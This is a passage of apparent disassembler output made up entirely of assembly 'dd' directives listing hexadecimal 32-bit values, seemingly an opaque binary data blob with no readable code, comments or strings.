		dd 49C433FFh, 0C192E3Dh, 11F1E61Ah, 65F49311h, 31F85138h
		dd 0A01F5DF3h, 301C3965h, 0DB606D28h, 922FAD63h, 0D5A50BEBh
		dd 0CFBEAC31h, 0C9BC24Ah, 0A7ED780Ch, 25F6A17Bh, 8B36BDF7h
		dd 0A0504EF3h, 6E3FB810h, 4CF58A2Eh, 3C5BD1D8h,	0AA2C70D5h
		dd 0C145E57Ah, 0A2F4D32Bh, 0D858A9B2h, 8BC3E1E0h, 0B41CAD8h
		dd 930B1377h, 0ABEDBD82h, 0D59CB488h, 6645D5F3h, 0F99C43F5h
		dd 7D5B962Bh, 80D74D0Fh, 0C237A660h, 660D6F6Eh,	83EC61C9h
		dd 7E5FF4B7h, 7204A7E0h, 2A8CDE5Dh, 599B3F83h, 58E61BCFh
		dd 64B307E9h, 293075BBh, 0AF023FBBh, 2CA3E096h,	95278CB4h
		dd 48FD8ACEh, 7466FA3Bh, 10422902h, 0D1CDA1E8h,	46BFEB5h
		dd 0D730131Bh, 0BCFCC936h, 0CB9D4CC0h, 23A8228h, 7E957C44h
		dd 4A61E4E0h, 0F0465206h, 0ADD0F1E4h, 0D1BB66FBh, 0D2EC5095h
		dd 500E7347h, 0F0560086h, 0A8058F55h, 903CAA33h, 0C7B30930h
		dd 30727294h, 55BB3148h, 2624C988h, 462F44Eh, 980779CFh
		dd 49E55791h, 34192C7h,	3B621952h, 653A9C5h, 21EEAD72h
		dd 62264714h, 0B72547C4h, 0FD06B876h, 6A80DE3Ah, 972DC53Ch
		dd 46EA36FCh, 0FFF1D94Eh, 84805D40h, 462FD4DDh,	21FDDF84h
		dd 7F84E3h, 3CCDDD4Eh, 399F6A33h, 34EDD727h, 845B5C61h
		dd 5924FEB7h, 62CBA7A0h, 0B326CA3Dh, 0F2A3C6Ah,	0F5052356h
		dd 9D4AC798h, 0BAF6140Eh, 38E180AFh, 0FBE2A880h, 0CDA929F3h
		dd 1FCB2B7Fh, 50354436h, 657C58A9h, 0BB9B1D6Dh,	103CA93Dh
		dd 8EA578F6h, 61DF915Eh, 798A5ABh, 2C35B932h, 1C914464h
		dd 0B63C9B7h, 55459B14h, 3786F7E1h, 0FFB3A9A3h,	98B12792h
		dd 0B2B70E15h, 6D4EC9FEh, 838D6035h, 487658C7h,	0AAB58F2Dh
		dd 0F6EDCD17h, 3056D351h, 3DF89F35h, 39D5B0D0h,	61F0E0D7h
		dd 0BA0A2898h, 0BF16392Dh, 52F0324Bh, 0B12B2A60h, 291EF787h
		dd 0AB0DD7B0h, 0B687B17Ah, 0E494B5FDh, 0DA594D4h, 9A07F493h
		dd 0F5FFA969h, 61D52E35h, 55D6E539h, 40CF808h, 69A2DC76h
		dd 63F026ABh, 5A4233Eh,	83E91521h, 0EA6E5F1h, 2FA51C9Ch
		dd 9A21B36Ah, 5B7697AFh, 35A9219Bh, 0F7769577h,	6A21A7DDh
		dd 474DA4F3h, 0A545F0F2h, 99CDCB2Ah, 0AB67659Ah, 7331A5A8h
		dd 61DC4B36h, 93F99D99h, 6292D618h, 57743666h, 9AA1286Dh
		dd 0DEFEC41Eh, 0FFF56373h, 0D9F3F845h, 691F8323h, 3D596473h
		dd 762E2E8Eh, 49EB28F5h, 2015088Ah, 0EBD8B517h,	0A2DAD8F5h
		dd 755AC847h, 85D87E3Ah, 41345EC4h, 3E0A15C5h, 83DB4161h
		dd 82D78FC9h, 4475ECB3h, 0C19A564Dh, 0ABF43157h, 0AE23A49Bh
		dd 0E6EB65Bh, 36665934h, 0E18849A3h, 359F72D3h,	2B02B046h
		dd 0AD849067h, 0A898FC97h, 806A6415h, 0E9206F56h, 23402EABh
		dd 0EF84341h, 98AE53E5h, 0A3150AB5h, 2B10D9ADh,	3E09DFEFh
		dd 0F2FC814Eh, 388325E9h, 0B08B57A6h, 0B21A48CEh, 19BFF6ECh
		dd 0ADA08837h, 9FEBD087h, 0FBCB110Ah, 822A820Eh, 0A07B8160h
		dd 0A16FA50Bh, 48DC6E35h, 0AD25D06Eh, 80D08146h, 2C1C4D4Eh
		dd 43C3A1AEh, 0DDA5215Dh, 347A76B0h, 17C4549Fh,	4D306477h
		dd 4E88A790h, 4D99864Eh, 1FCDB1E6h, 10D90775h, 5C3A7FF5h
		dd 3D7A0C59h, 64598B4Ch, 6C681E37h, 0CBC68390h,	5D947AB4h
		dd 0B914616Fh, 0D2000010h, 0F279333Ah, 0B87D5AA0h, 0A7CB0149h
		dd 814D133Dh, 3E781E4Ah, 8C0B1774h, 0E124FBE9h,	0B586EB24h
		dd 24657DFAh, 6876B213h, 2575FA98h, 1C1836A6h, 3B972F95h
		dd 2ABD121Eh, 0D5599707h, 5C2F6580h, 0BE414FC0h, 0DC572524h
		dd 64FF4CFCh, 0FAA4AFDDh, 2A25B69Ah, 0B3C8BFBBh, 33201ABDh
		dd 0A78200C3h, 937089Ah, 5FB92FEAh, 0F878E9F4h,	8EA30AB0h
		dd 0ABF3CFADh, 0A2D0E931h, 348CBEE3h, 0ECD25428h, 2D888311h
		dd 431D41C9h, 0DDAD6108h, 0CDBD4314h, 50E775E0h, 0DAF1575Eh
		dd 7A003E14h, 0D3F0B72Eh, 81EE4F98h, 0C7FB077Dh, 0C4D2689Bh
		dd 0C8C31EDCh, 13401176h, 7BA4790Eh, 44E1F032h,	6941CABDh
		dd 0FE698948h, 607C7E6Bh, 0A0DF922h, 0AAF8435Bh, 5083E096h
		dd 0ED8E3ACDh, 8ECEE974h, 0F8E65028h, 2484AA75h, 39DE7C4Dh
		dd 0D2AD9CD9h, 2A5A7B93h, 9C58F14Fh, 21A9B0FDh,	0C9F59F3h
		dd 0CAA1BDA1h, 0BC6F609h, 0A2AA2003h, 0BEC8355Ch, 293B061Fh
		dd 0BCA7515Ah, 92A6F761h, 0E99D18E6h, 0A915F3E4h, 0DA2D4192h
		dd 61DD435Ah, 90914807h, 80042F0Ch, 96965B1h, 2FC0E0Dh
		dd 1BB38107h, 24F69921h, 4746D1B5h, 938102D4h, 6E898B54h
		dd 245B7831h, 39EE6D8Ah, 0BEC63C96h, 366BB306h,	3540B355h
		dd 9ED497CEh, 1C5336D9h, 0CC2DBE17h, 5D6C49F7h,	41AE65D2h
		dd 4A2A0E03h, 84D781F6h, 17E62935h, 3A1EFDF5h, 3F940C7Ch
		dd 0AD2D2A5Bh, 839FEAACh, 5D15A3EAh, 7A76A102h,	0B63B3564h
		dd 4B632EDAh, 643574EEh, 0F34410C7h, 0F15E5527h, 176A2B60h
		dd 0F14198D0h, 0C3E7BC73h, 79EE268Ch, 9FBF2CAh,	5F3F4CEDh
		dd 0FA32DA1Dh, 1C1D7DB3h, 1556AEC9h, 66D6D174h,	277FDB65h
		dd 667DD466h, 0D19ED16h, 71039225h, 0E3CBF915h,	7ABC3EA0h
		dd 0B455931Eh, 0F7781E43h, 0F5A1EBB5h, 54BC4F3h, 707B03BDh
		dd 0CFB67AB3h, 8A6D6061h, 36023860h, 0B35E6CFh,	0CA4B9CECh
		dd 0C7A88E4Eh, 30F3AAAFh, 99E5A3F1h, 0D50373F2h, 4C92BBF1h
		dd 4BC5A0Eh, 7B5DB286h,	71B6ECEFh, 78788821h, 3EC06EEDh
		dd 0F220E678h, 6FBFFDD3h, 0FC427A9Fh, 0C15C8E8Ah, 22C63C9Eh
		dd 4044BAC1h, 0BEC69C6Dh, 0B0ECF33h, 0A669F9CBh, 0D665A32Dh
		dd 38B9ACF5h, 283A7A86h, 4206459Ch, 0AE0EF459h,	769A5C16h
		dd 6C50527Bh, 9C65FF59h
		dd 0BC81F24Dh, 0DBE11D72h, 0AAA38A77h, 44353A7Ah, 0C68B70Fh
		dd 7217C758h, 3F7A4889h, 8BCD3078h, 0D59487B2h,	51485175h
		dd 0BFD1275h, 4427C36Fh, 929EAD46h, 6AA3BDA6h, 0FC38E212h
		dd 0B70BDA12h, 0A5DA8D2h, 21470B4Ah, 0C0E2CC12h, 0A46EE071h
		dd 162D1A06h, 11FE719Eh, 0CC79263Dh, 4D7C7C04h,	0AE37D8A2h
		dd 96EDB7AAh, 0BC589AEFh, 9EF2D6B6h, 0A68A8045h, 91E8DFDBh
		dd 3A228B3Ch, 754934AEh, 770FF767h, 76187015h, 32DC51B1h
		dd 39973787h, 54E120D7h, 0B4B2D0ADh, 7EE1536Ah,	0BB04E050h
		dd 0F01007AFh, 0E1388191h, 0CF20A77h, 4CC8909h,	5999A0E4h
		dd 0D2E97423h, 0C8746106h, 0F37AA3ABh, 0F5FB5751h, 0B11E7849h
		dd 0EC833D9Fh, 2B254085h, 771D1EEAh, 6EA9AC0Fh,	7B27618Dh
		dd 0D92308E1h, 0DABD9376h, 712B0FE3h, 0AC4C4F8h, 0F8ADAFFh
		dd 0E537AC6h, 19251DC7h, 55FDEAB5h, 4BEA3EC2h, 0CF112059h
		dd 345D17AEh, 264B8D71h, 0B2D31EFAh, 0D4BC176Ch, 5C173C3Dh
		dd 125B0D5Ch, 81838E22h, 8201B3CEh, 16360B12h, 0C23E737h
		dd 0CB5472D1h, 29DCFB8Ah, 0EBC58DE4h, 0DA89A551h, 8E6A2114h
		dd 4170BE10h, 9E81F17h,	0D5D924C5h, 4FC5B45Fh, 0F3886D92h
		dd 0B07C11BEh, 7A943F74h, 4C619AA3h, 0E3B92E4Ch, 0AAB38C32h
		dd 0CD34D35Ah, 0A8D71CECh, 7F30FFD9h, 0C79F15DFh, 0F876B8EDh
		dd 0C8D11D16h, 8D3D896Bh, 0D5F3FC1Eh, 53832D1Ah, 268D2A4Ch
		dd 0AE7964Ch, 0AA0AAB45h, 2788D2C0h, 184D1222h,	8A63FFC0h
		dd 2CFC9497h, 1FF656B6h, 3CFE501Dh, 7DF17D9Bh, 166F9243h
		dd 91A3D2DAh, 0EF79460Eh, 2A79EC86h, 5AEF49B2h,	0DC70E249h
		dd 36042098h, 300E7835h, 6669D749h, 44CF4FE5h, 0B610EAA2h
		dd 0C345DF3Ch, 0A3AC367Ch, 55D180CFh, 60FFC407h, 554A1A95h
		dd 26F18E0Fh, 0F4B924EAh, 920B05AFh, 7B97541Ch,	3F7E0B34h
		dd 49333897h, 7770C0CCh, 68EE5457h, 0C88480A6h,	0D054DBB5h
		dd 915DE7B2h, 0B44F84h,	26E466D9h, 0D3D03B70h, 0FA0E6DD5h
		dd 0C67511CEh, 0CD5C0CF0h, 0D402F459h, 0E7DD6AE5h, 84C68594h
		dd 2CBD4EECh, 70E55E1Eh, 0C3ECB960h, 929F01D3h,	8B79C47Ch
		dd 0DCEDF627h, 0FF553018h, 9D788D04h, 9DB33348h, 86ECF481h
		dd 67D3B6B3h, 0A9B7D163h, 0E6819187h, 82005ABBh, 36CC3E2Ch
		dd 6D625DE0h, 0F1B1BD31h, 296675B6h, 9CD79BA7h,	8266281Dh
		dd 5F433782h, 11BDF045h, 4A212C9h, 4B71E0D6h, 0EFE64FAFh
		dd 0A3438CFAh, 3A9F45F3h, 92B9CC6h, 8D46F437h, 52754EDEh
		dd 73959A65h, 78171010h, 75EB0FD5h, 0E5E5178h, 34EB2108h
		dd 73C55352h, 685206BDh, 0BEFB2016h, 6A50FF4Bh,	0BE590C34h
		dd 28DABCFBh, 0F6CA93FEh, 0D9ABD0B2h, 0DA2B2441h, 698D0500h
		dd 0BDE5979Ch, 8196589Fh, 3F1CAB24h, 80CA5A25h,	36429028h
		dd 775D0BDCh, 2587F176h, 98FC33A5h, 19C32C45h, 4F358DEAh
		dd 8C8F3B56h, 0BEB1644Ah, 0BD439CDAh, 0CC175122h, 0D56D6B5Bh
		dd 14694288h, 7F4BF652h, 39AB8E7h, 0DEE6162Dh, 0D44C9092h
		dd 4678AE5Dh, 7E315876h, 40473038h, 0A1877F36h,	849DBFD5h
		dd 138817D5h, 0A9659BF4h, 0FB44B80Ch, 69D716FCh, 8B17595Bh
		dd 9D3930ADh, 4C7ABF2Ah, 555BA507h, 9EA7750Dh, 0C75B31F4h
		dd 0CBDA8D65h, 0F9189A05h, 0FDBB9AC6h, 505C1F3Bh, 84A3E16h
		dd 0DA065A45h, 9E0B0EDh, 31B1E7CCh, 59C20456h, 0E4BBAD0Bh
		dd 0AE10B320h, 0EC3D1B02h, 0F944789Eh, 0EC1B0BD1h, 490A235Ah
		dd 0BD9097CCh, 3A8D243Dh, 4C7DB2CAh, 0CA01A03Fh, 0A4032BF0h
		dd 9A6B0378h, 10EACD29h, 5F885ECDh, 0C78DD4CAh,	33D0C97h
		dd 0BE754795h, 0C7C78BDFh, 3464EE4Dh, 135BD0CBh, 80A988Bh
		dd 7142F50Bh, 380F7187h, 60F860A9h, 95B359D1h, 0C461FB0h
		dd 0AC62A990h, 0A24BE376h, 0A2CA8B7Fh, 0EE1C1844h, 0F0269563h
		dd 0D2FE868h, 4928FC86h, 0BAB95874h, 30152CE6h,	9AFE20FCh
		dd 0DD49B844h, 7718FF59h, 0F90DF5D7h, 0D5F528DEh, 15D41327h
		dd 39033074h, 0CAEC0D60h, 0C5F1ED83h, 42633C01h, 57B9E5F4h
		dd 5A8C0353h, 0ED67C50Ah, 571D3ED5h, 9A88DD34h,	0DFF6451Ch
		dd 0EC7186DAh, 0D829EB73h, 0A7D2D196h, 9B52CBD8h, 0DDA3871Fh
		dd 0EB33666Ah, 95CAA574h, 66941A14h, 1ED98F8Fh,	2205B0AEh
		dd 91D8D2FAh, 3563662Fh, 56D5B1E1h, 3315655Dh, 0EEC90998h
		dd 5C7DE7C9h, 8CDD51Ah,	8B276736h, 9AC5A0DAh, 73FF78D6h
		dd 8FABC9F7h, 0C48B9133h, 96D44D4Bh, 34B1BC05h,	0BE80309Fh
		dd 0DA596B0Eh, 1D30D9C6h, 0BB70460Eh, 632FEEB7h, 695CFD9Dh
		dd 930C9D69h, 91962587h, 84269598h, 6D4A1068h, 0F314F645h
		dd 72F7F283h, 216BEB98h, 24BAAD67h, 21A48F03h, 6BC41581h
		dd 22658475h, 203B92E9h, 2D9615B8h, 37C07CCAh, 449E5A81h
		dd 0D7B26F9h, 48ABE2F9h, 215C6E48h, 820513D3h, 0DB5B1E8Bh
		dd 0E22D0B04h, 5EF8BC22h, 0B3BC8A9Fh, 25A433DCh, 35641AFBh
		dd 96FBBC68h, 51D3D68Eh, 0FC8DAE7Fh, 0B22208E1h, 12BE0765h
		dd 0C59A8D45h, 8549D8D2h, 951724D0h, 7A6F7DB1h,	59E28000h
		dd 0F59F619Ah, 971F2716h, 84C2570Ch, 44024C2Ah,	0FF7467C5h
		dd 0FE7F6C4Ah, 0A4CA82BFh, 59D59046h, 8CF80794h, 0A08CB61Bh
		dd 0B083F1E1h, 0ADB7A6F0h, 0F55EA97Dh, 7773C5B6h, 675CD9CDh
		dd 71BB4D18h, 0EB6B2FC6h, 2749BE7Bh, 0F2E7C02Ah, 0A49AA081h
		dd 8790B6FFh, 9A796BBFh, 0DAE703EEh, 0C17EC014h, 9D9094DEh
		dd 8FC1856Ah, 7D55FA84h, 7EA10FFEh, 819150F9h, 76532155h
		dd 0E2F44B0Dh, 0C55A3E27h, 419DE1E6h, 2E61714Ah, 6FA521Bh
		dd 3BEE748Ah, 96FD7F52h, 1EC3A3A4h, 0AC218F7Bh,	0B807E0CBh
		dd 0AFA58C4Ch, 0A53ABAE1h, 47856CF3h, 132F9FBDh, 0BC472677h
		dd 64323FBh, 297FA07Fh,	0FC2B7ECFh, 0D6DDCDh, 0D65E636Bh
		dd 44DB0113h, 8F6D79F2h, 77F63245h, 0B41CF1Bh, 0F46781D3h
		dd 3E0DA9CDh, 0F139D6D6h, 550E9BF4h, 2B672944h,	0AA53EE6Eh
		dd 0CE0D5042h, 0D3D94FFBh, 0EE5795E2h, 0BF2471Ch, 0CBAC4BBAh
		dd 0C1F452AEh, 6F6D366h, 0C5C34453h, 0CF676159h, 5A0358A2h
		dd 3DD2D156h, 59E9B639h, 7193C462h, 0E5632AE4h,	0E91FBA5Bh
		dd 87064B93h, 0D68A2AD6h, 7BFAFED7h, 0EAAD72B3h, 5E298C1Ah
		dd 6C8DF776h, 2943552Ch, 591E0A37h, 0E21DB843h,	97364DC4h
		dd 0B003CB3Dh, 0FE9B9A97h, 0DD660671h, 9DC5DA6Ch, 719F3F38h
		dd 0BBA3F62Bh, 0F0BDFFA9h, 0FBF870FDh, 73A4AFE9h, 6AFC1ED6h
		dd 50909BA7h, 3A2B329Eh, 34D59145h, 0A9BF08B4h,	24F098B7h
		dd 2892E525h, 9B9F3F7Fh, 5D65F2F0h, 0CE4B5DFEh,	28DC714Bh
		dd 0EE701E18h, 737466EAh, 2D8440D1h, 7C7A837h, 6A9BF3AFh
		dd 67D969C2h, 5D0D166Ch, 0CEE59DFBh, 4A6D8DC4h,	0A1E90E2Dh
		dd 0E5396EC4h, 67414179h, 0C636476Ch, 2FBF2177h, 0D3A090DFh
		dd 6F9E5F1Ah, 2DEC44ECh, 761BC15h, 18217F1h, 0AD6730BCh
		dd 6F16863Fh, 0E03486F4h, 6AB8B37Fh, 1B3C8FA8h,	430E4F50h
		dd 0FB996007h, 4C625FD6h, 0A868F2FCh, 0D94096DCh, 10E111F3h
		dd 60BCA678h, 5B09B792h, 0C4BFFE07h, 0AEF6AD4Eh, 0C368D907h
		dd 0F4D4831Fh, 72D06150h, 8671A875h, 0C3E20F85h, 7E12C4Ah
		dd 0A6C64E3Eh, 0A01AB589h, 663011C8h, 5FD6FB9h,	5E960655h
		dd 0CAA5F282h, 97DCEC5Eh, 33087F4Ch, 1A609D83h,	569AA31h
		dd 79E34D02h, 0B03DDBD8h, 470FABE8h, 4643B0FDh,	0A14DEF9Eh
		dd 0E6F362F8h, 227DB382h
		dd 8DBCF013h, 0DE0EC18Ch, 5A4445B0h, 0B1CAF2C2h, 44242075h
		dd 0DC4731AEh, 591D2C42h, 24C5F2E1h, 89AD8F3Bh,	24DB8C3h
		dd 0E6ABA994h, 31102F5h, 0FBB83183h, 0C8971276h, 0D230F068h
		dd 811085BFh, 50F0BC73h, 0E357FB57h, 87A3F8DFh,	0E29C337Bh
		dd 30B95B6Bh, 0F6625EF3h, 0ADF0167h, 4A56BE49h,	0C1D4E67Dh
		dd 0F0508966h, 532DC36Eh, 2C8CB4C0h, 52A74BF7h,	22ED60FBh
		dd 67CBFAEFh, 0AEE8E7C5h, 773D679h, 4078E543h, 6FB53FAFh
		dd 9972E751h, 153DFE7Ah, 0BA580CC2h, 0B0A3CC72h, 8C2062C8h
		dd 3112D86Bh, 0BC516E5Fh, 99D0B189h, 58339A98h,	211434FAh
		dd 4DC18447h, 4A888059h, 9141C744h, 17FD0971h, 6751CD22h
		dd 0FEAF3ED2h, 5C169F4Bh, 1D2B421Ch, 0A4CFC5FEh, 0DED4A0DAh
		dd 8CFA6208h, 0B01DD6DDh, 0F91F96D1h, 4A13C998h, 0CFF105EDh
		dd 15C3C965h, 0E293BFF6h, 0CAF713A8h, 76B08765h, 19A2C74Dh
		dd 73E69548h, 0BE732909h, 0F9AD284Ah, 0A6D96DFCh, 73C697FCh
		dd 70359204h, 0CB7283F9h, 0BE6AA292h, 0C2943819h, 0EBFDC18Eh
		dd 6F6DB01Ch, 9B4833F6h, 1DD3B06h, 0E07C8520h, 25372F68h
		dd 466117CDh, 93A359CAh, 0E4C78FE8h, 0BFDAE4D7h, 0CC14A48Ah
		dd 5CAC1A92h, 219169A0h, 0BF5118DDh, 0E3919BEDh, 53CA22C8h
		dd 56FEC552h, 53372368h, 1B89E562h, 0E98604B0h,	2F42162Eh
		dd 8C8290FCh, 0C1E3033Bh, 4784834Fh, 22D2ABC2h,	0D4F1BEE3h
		dd 0E78705E5h, 0CBA5D037h, 66E51475h, 0F8AB2D74h, 0A35B912Ch
		dd 0DC1D4B03h, 85691F3Ah, 614ACB34h, 0D6CA7A94h, 9E6FEBFAh
		dd 0DCD24013h, 0AB0BA4CAh, 2B9286F5h, 6E2F8550h, 9A68D120h
		dd 75C15EEBh, 24DC655Eh, 0F59006D6h, 0ED3DE819h, 62A11461h
		dd 0BAFF3EBCh, 32CFFBCEh, 0A96D5691h, 1FF63362h, 6160DA97h
		dd 74FC76E2h, 3AE36715h, 0FE935080h, 29039B67h,	131016ABh
		dd 0DDCD68C8h, 8F2E6402h, 54C5F3Fh, 15A4BE3Ch, 25E80D99h
		dd 0E451BD78h, 38C82D2Dh, 64BADAD6h, 9B5B0371h,	0CC5C7E25h
		dd 9D16FAB2h, 30974E31h, 0C668F061h, 0D429AE99h, 80D63F1Ch
		dd 34AD18EEh, 3A1203A9h, 3D3DC6B8h, 20BD252Ah, 24ECEFABh
		dd 8F9C83E1h, 0B8112934h, 2478652Ch, 1CECB93Fh,	0D76E637Eh
		dd 5F91DB58h, 56B7886Ah, 45382EF1h, 664AFBB5h, 5A4E60A9h
		dd 2BDE7F1Dh, 0C0D3922Ah, 0CEFB323h, 58EAFBA2h,	6910A9DEh
		dd 1BD66CFEh, 3C834A0Bh, 0E7C4CC52h, 0C519466Ch, 0B3042D85h
		dd 0E83DDC46h, 78AEDB84h, 3AC7A19Bh, 0DD43DAC0h, 0C1721FA4h
		dd 70C7112Bh, 7458885h,	0CC95CD7Dh, 9B692500h, 0D8521D7h
		dd 1E503122h, 4D62F5F0h, 0A34D7850h, 6085E42Ah,	259D5E3Ch
		dd 8E741C54h, 0C782214Ah, 7B56E03Dh, 9B05C0A2h,	9AB2D57Fh
		dd 364DAC07h, 8C2F9E55h, 0EE222B2Dh, 0BAF6160Fh, 13D2878Ch
		dd 610D2FFh, 2548980Fh,	8E006FE1h, 0A4290CA0h, 9F4C3B3h
		dd 8D3117A8h, 2EBD3C3Ah, 772F090Dh, 3C2C1250h, 2CC95757h
		dd 8A30BD0Bh, 0DE70F244h, 0A5459EB7h, 655DBDh, 51D6F918h
		dd 0E803FC0Fh, 0FF530201h, 0F7C969B2h, 0ABA6B2F8h, 241493E2h
		dd 0A324C5F2h, 2D0508FFh, 17C84A08h, 3CBE082Eh,	582644F1h
		dd 0C7017FF4h, 462A2D31h, 5366D170h, 0CB88C0CBh, 5B75D96Eh
		dd 436DF62Ah, 0B379EC37h, 3C313696h, 7548A0A4h,	0F6FEEECBh
		dd 18B8DF09h, 9AAFCDB2h, 0A4966DD4h, 6AAC6D65h,	168BDABEh
		dd 7B5C6476h, 4533A754h, 43C2447Eh, 79C70C96h, 8F46CACh
		dd 84E6728Dh, 0B36A80C9h, 0B56F3DB0h, 0BC5A69DEh, 7853119h
		dd 30EB2DBh, 4F482CA4h,	0CE49BFB6h, 46882882h, 0AE89E330h
		dd 0F924A98Dh, 0B406B0FDh, 0A935F3AFh, 776DFE45h, 0C4D88CE1h
		dd 9F66E38Dh, 96B9F5D3h, 1CF17DC1h, 0AEBA0E61h,	990EAC6Bh
		dd 0CC951894h, 6D62524Fh, 2A1A9A13h, 6FCFC5E2h,	0C82EEF55h
		dd 65B6D906h, 0EB898337h, 0ABB54768h, 0C77E43EEh, 0E843A8A7h
		dd 15B7AF74h, 50DA9DF9h, 63D50E0Eh, 1E777F0Bh, 7076C393h
		dd 2C27F012h, 7F4433CBh, 2824FE90h, 506E43EBh, 0F3CABB6Ah
		dd 62BD397Dh, 65E9D479h, 6D9CDD75h, 50246CFBh, 0B8B320Eh
		dd 0D8D92392h, 86FF5502h, 0CB7026F1h, 0E6A196D4h, 0BB5417F6h
		dd 0AAF2C273h, 0E572EE06h, 379728BEh, 0AA6919DFh, 462B97D9h
		dd 470EF86Bh, 0ED6F77D7h, 0ED76294Fh, 78B56936h, 39F5ED43h
		dd 0F7DF4923h, 514C5EB7h, 5C1C6A2Fh, 6DD559F7h,	308B27A8h
		dd 0EF02026Fh, 73DEA08Bh, 0D011BED0h, 0B5C82D4Fh, 203E5CEFh
		dd 63F0F254h, 0FD686B71h, 8F1045Eh, 8F06EE57h, 0ECEB02F2h
		dd 4E4589B9h, 231CDC0h,	613F082Fh, 0ECCB85B4h, 67AD3A72h
		dd 0C69248A1h, 25C165E8h, 0B1598C6Ch, 139BA18Eh, 8A4CE996h
		dd 0D2D4F5FFh, 449830E2h, 0D681C674h, 0D873B9B7h, 105AFA2Fh
		dd 6CA7ECF7h, 78D89E6Bh, 0F1DCDAC9h, 0F266C7BDh, 85FC5830h
		dd 4EFED789h, 9BEAC1FFh, 284CEBDBh, 7249EC35h, 855EFED4h
		dd 6B803639h, 618CDA8Ah, 0EA62FD41h, 0B1A38229h, 2BF01D8Dh
		dd 193F8B18h, 3431A67Bh, 0B374A729h, 56D5C947h,	8D830F1Bh
		dd 0A7F1A81h, 78A60C69h, 0D725579Fh, 96CF9B03h,	0CEDEDC9Eh
		dd 6C59CD59h, 0D7278A8Ah, 7C515E35h, 2C7DC8A1h,	345C285h
		dd 3F044D5Bh, 0FE1EF5D0h, 0DB29ADBFh, 8D03586Eh, 0B295C7B7h
		dd 2B89260Ah, 89202FADh, 462E1DE8h, 0B61C97D3h,	9C6BBB64h
		dd 0DFD5CAD9h, 5A2C990Fh, 0D602E8FAh, 1E09FF36h, 45B69D88h
		dd 0AC31EB21h, 0F59CEBADh, 5A087BCBh, 0A65A28FAh, 0A897BCB0h
		dd 0B5A82279h, 59703868h, 0C6C2F602h, 1BE5F875h, 0D6141A28h
		dd 0CA6B557Eh, 0F356B349h, 0BCD6C0FFh, 0D7641FADh, 0B17A6D36h
		dd 9CE65824h, 0C1B4ABB3h, 310184E2h, 7F570EDEh,	0B03C732Bh
		dd 0C83FAEA4h, 0CCAAC67Fh, 7147351Ch, 0AFDBEFF7h, 2B7CEC74h
		dd 0A94D437Ah, 0D51DE851h, 29F8417Eh, 1A80D318h, 74F2199Ah
		dd 0F5F4F55Eh, 0C45AE622h, 6EBA0982h, 0D830C669h, 0A84C92Fh
		dd 0C48F2C13h, 0A4F4C084h, 6820A455h, 0CF7C6C1Dh, 8C4708EEh
		dd 91B06B1Bh, 910A0E83h, 4B8454F7h, 17FF4F81h, 0B62463E0h
		dd 0FA7B9B48h, 0DE498B8Ah, 0FEE4C076h, 7D99D30Ah, 0F39A8604h
		dd 0DD023856h, 18A50EE2h, 0B6F5EDCFh, 0A84D1224h, 0D82B8715h
		dd 0A0658F74h, 9B57953Bh, 0C4C575A1h, 505FC2FEh, 47B2B30Ch
		dd 0B73D5357h, 0F454D066h, 0BF329FBDh, 0BA545C1Ch, 228DFC85h
		dd 0F1694A74h, 68B54F07h, 0D5CDB9EBh, 0AB36E54Fh, 2530E9A7h
		dd 0D207337Ah, 5E3A1042h, 0AE0A77D1h, 5E6463F7h, 6067692Dh
		dd 0AC09AC91h, 2C572B47h, 9E3EF7C9h, 22D86AF6h,	87057B55h
		dd 85642CBCh, 9A52D1C1h, 0BDCF2D2Ah, 12C1C593h,	494CE4B0h
		dd 0FE9826CBh, 0F6B7EE07h, 0E85CD215h, 0FA3E08DFh, 59EF1E6Dh
		dd 0B2A141E4h, 6EC54956h, 669E15F5h, 0C64497D1h, 10A9A8ADh
		dd 2EA5F2DDh, 0B21C1E2Fh, 6BCA08A1h, 83506F29h,	0F241CF39h
		dd 0CB320AEAh, 3E43824Ch, 1C912965h, 0A46AA97Ch, 0B0EBD0DFh
		dd 0F6051A57h, 6E845AB6h, 9EFFEEDAh, 5CD26345h,	0D39FE92Ch
		dd 0DBE2E074h, 0DAF18315h, 3C74901Ch, 2CB052B9h, 6C84BF52h
		dd 0BD43376h, 675C9622h, 0DB29C57h, 9F7F64B7h, 772DE8F1h
		dd 620A9AD2h, 6D114F74h, 0E499B118h, 5B4DA071h,	376FCD36h
		dd 3D1046E7h, 0D4C6FC70h, 767882B1h, 0C3D35187h, 543C82AEh
		dd 3E377F35h, 0E6CB083Bh, 92A68F0Dh, 7D946BEEh,	0ECC9D44Ch
		dd 0B8E36130h, 0B8DD5F50h
		dd 4BE2C92Dh, 1B499EFFh, 0D07F0BBh, 0C630E2C0h,	5E8B5DAFh
		dd 0F6341439h, 90087AF9h, 1696550Dh, 0C927D1B0h, 7932F4B0h
		dd 0B4C11BCAh, 0BBFD91B7h, 1BE3CDFBh, 26FCF82Fh, 0F5FFBD62h
		dd 25D627FFh, 53B79C25h, 608621DDh, 0D11BB3B8h,	12E54172h
		dd 0D5B24B4Fh, 0D84A5Bh, 0E7AF75AAh, 0E32E34DAh, 3F71E89Fh
		dd 84A87E47h, 0AF38BDAFh, 982EF6FCh, 0E9323B85h, 2F139424h
		dd 4282C89Fh, 3B27FB90h, 0A34A4F4Eh, 3152598Fh,	0FD7A4970h
		dd 0C2C50C01h, 0F6E3981Bh, 78118545h, 0F32E0B1Ch, 90C8CCF5h
		dd 3E75C1AEh, 2DF6AB46h, 9F4E7F35h, 8E88120Eh, 0C8D60762h
		dd 0B4AF2922h, 3E3201BCh, 18D80CBEh, 0C99246C8h, 29B46C8Dh
		dd 70077B23h, 2DED1319h, 0A4B4D435h, 0DA22BD7Eh, 6CFE800Bh
		dd 0BA49D004h, 276BEDBAh, 0F802479Ch, 5903F54Eh, 8141D3Bh
		dd 87422007h, 134554B8h, 4D028F95h, 76AB4A72h, 97535E0Eh
		dd 2011AE33h, 0ECED7D0h, 0A9EFD1C7h, 766760D0h,	0C189237Bh
		dd 0CECF6806h, 275578DCh, 253F4FCh, 4E44DA94h, 579D9618h
		dd 0A0CA2115h, 7225DEAEh, 414BEEE7h, 0F4ECCEE4h, 312754B2h
		dd 0E4DF9DFCh, 6BF7840Eh, 41BE28AFh, 6B904D60h,	59C953A6h
		dd 5788FB7h, 0D4851067h, 0C743C469h, 9A03A038h,	0CC77620Ch
		dd 0B6E76679h, 0D78F948h, 615DE99Eh, 0E54F265Dh, 1DA2F3C0h
		dd 0D95351A2h, 0C5F6E2E5h, 0DAD7AD59h, 0F1BE6AEEh, 0CC41CA72h
